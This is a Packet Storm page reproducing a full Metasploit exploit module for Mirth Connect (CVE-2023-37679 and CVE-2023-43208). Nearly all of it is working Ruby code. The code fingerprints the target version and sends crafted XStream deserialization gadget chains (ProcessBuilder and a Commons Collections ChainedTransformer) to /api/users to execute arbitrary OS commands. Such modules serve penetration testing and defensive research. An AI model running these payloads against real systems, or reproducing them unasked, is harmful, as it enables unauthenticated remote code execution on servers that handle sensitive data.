Lucene search

K
packetstormR00t, Spencer McIntyre, Naveen Sunkavally, metasploit.comPACKETSTORM:176920
HistoryJan 31, 2024 - 12:00 a.m.

Mirth Connect 4.4.0 Remote Command Execution

2024-01-3100:00:00
r00t, Spencer McIntyre, Naveen Sunkavally, metasploit.com
packetstormsecurity.com
138
mirth connect
remote command execution
os command execution
crafted http requests
cve-2023-37679
cve-2023-43208
version 4.1.1
version 4.3.0
version 4.4.0

AI Score

7.4

Confidence

Low

EPSS

0.974

Percentile

99.9%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Mirth Connect Deserialization RCE',  
'Description' => %q{  
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability  
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the  
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,  
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed  
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was  
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.  
},  
'Author' => [  
'r00t',  
'Naveen Sunkavally',  
'Spencer McIntyre'  
],  
'References' => [  
['CVE', '2023-37679'],  
['URL', 'https://www.ihteam.net/advisory/mirth-connect/'],  
['CVE', '2023-43208'],  
['URL', 'https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/'],  
['URL', 'https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/'],  
],  
'DisclosureDate' => '2023-10-25',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux', 'win'],  
'Arch' => [ARCH_CMD],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Payload' => { 'Space' => 8191, 'DisableNops' => true }  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
return CheckCode::Unknown('HTTP fingerprinting failed.') if res.nil?  
  
unless res.get_html_document&.xpath('//head/title')&.first&.text =~ /Mirth Connect/  
return CheckCode::Safe('The target is not Mirth Connect.')  
end  
  
target_version = get_target_version  
return CheckCode::Detected('Failed to detect the target version.') unless target_version  
  
vprint_status("Detected target version: #{target_version}")  
  
if target_version <= Rex::Version.new('4.3.0')  
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-37679.")  
elsif target_version <= Rex::Version.new('4.4.0')  
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-43208.")  
end  
  
CheckCode::Safe("Version #{target_version} is not affected.")  
end  
  
def get_target_version  
return @target_version if @target_version  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/server/version'),  
'headers' => {  
'X-Requested-With' => 'OpenAPI'  
}  
)  
return nil unless res&.code == 200  
return nil unless res.body =~ /(\d+(\.\d+)*)/  
  
@target_version = Rex::Version.new(Regexp.last_match(1))  
@target_version  
end  
  
def exploit  
target_version = get_target_version  
print_status("Executing #{payload_instance.refname} (#{target.name})")  
  
if target_version <= Rex::Version.new('4.3.0')  
# The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability  
# which did not implement the deny-list logic that was bypassed by the newer chain  
res = execute_command_cve_2023_37679(payload.encoded)  
elsif target_version <= Rex::Version.new('4.4.0')  
res = execute_command_cve_2023_43208(payload.encoded)  
else  
fail_with(Failure::NoTarget, "Version #{target_version} is not vulnerable.")  
end  
  
if res.nil?  
fail_with(Failure::Unreachable, 'Failed to execute the payload.')  
elsif res.code != 500  
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload.')  
end  
  
print_good('The target appears to have executed the payload.')  
end  
  
def execute_command_cve_2023_37679(cmd, _opts = {})  
# Tested on 4.1.1 and 4.3.0  
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<sorted-set>  
<string>#{rand_text_alphanumeric(4..12)}</string>  
<dynamic-proxy>  
<interface>java.lang.Comparable</interface>  
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">  
<target class="java.lang.ProcessBuilder">  
<command>  
<string>#{target['Platform'] == 'win' ? 'cmd.exe' : 'sh'}</string>  
<string>#{target['Platform'] == 'win' ? '/c' : '-c'}</string>  
<string>#{cmd.encode(xml: :text)}</string>  
</command>  
</target>  
<methodName>start</methodName>  
<eventTypes/>  
</handler>  
</dynamic-proxy>  
</sorted-set>  
XML  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api/users'),  
'ctype' => 'application/xml',  
'headers' => {  
'X-Requested-With' => 'OpenAPI'  
},  
'data' => xml  
})  
  
res  
end  
  
def execute_command_cve_2023_43208(cmd, _opts = {})  
if target['Platform'] == 'win'  
cmd = "cmd.exe /c \"#{cmd}\""  
else  
# see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html  
cmd = "sh -c $@|sh . echo #{cmd}"  
end  
  
# Tested on 4.1.1, 4.4.0  
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<sorted-set>  
<string>#{rand_text_alphanumeric(4..12)}</string>  
<dynamic-proxy>  
<interface>java.lang.Comparable</interface>  
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">  
<target class="org.apache.commons.collections4.functors.ChainedTransformer">  
<iTransformers>  
<org.apache.commons.collections4.functors.ConstantTransformer>  
<iConstant class="java-class">java.lang.Runtime</iConstant>  
</org.apache.commons.collections4.functors.ConstantTransformer>  
<org.apache.commons.collections4.functors.InvokerTransformer>  
<iMethodName>getMethod</iMethodName>  
<iParamTypes>  
<java-class>java.lang.String</java-class>  
<java-class>[Ljava.lang.Class;</java-class>  
</iParamTypes>  
<iArgs>  
<string>getRuntime</string>  
<java-class-array/>  
</iArgs>  
</org.apache.commons.collections4.functors.InvokerTransformer>  
<org.apache.commons.collections4.functors.InvokerTransformer>  
<iMethodName>invoke</iMethodName>  
<iParamTypes>  
<java-class>java.lang.Object</java-class>  
<java-class>[Ljava.lang.Object;</java-class>  
</iParamTypes>  
<iArgs>  
<null/>  
<object-array/>  
</iArgs>  
</org.apache.commons.collections4.functors.InvokerTransformer>  
<org.apache.commons.collections4.functors.InvokerTransformer>  
<iMethodName>exec</iMethodName>  
<iParamTypes>  
<java-class>java.lang.String</java-class>  
</iParamTypes>  
<iArgs>  
<string>#{cmd.encode(xml: :text)}</string>  
</iArgs>  
</org.apache.commons.collections4.functors.InvokerTransformer>  
</iTransformers>  
</target>  
<methodName>transform</methodName>  
<eventTypes>  
<string>compareTo</string>  
</eventTypes>  
</handler>  
</dynamic-proxy>  
</sorted-set>  
XML  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api/users'),  
'ctype' => 'application/xml',  
'headers' => {  
'X-Requested-With' => 'OpenAPI'  
},  
'data' => xml  
})  
  
res  
end  
end  
`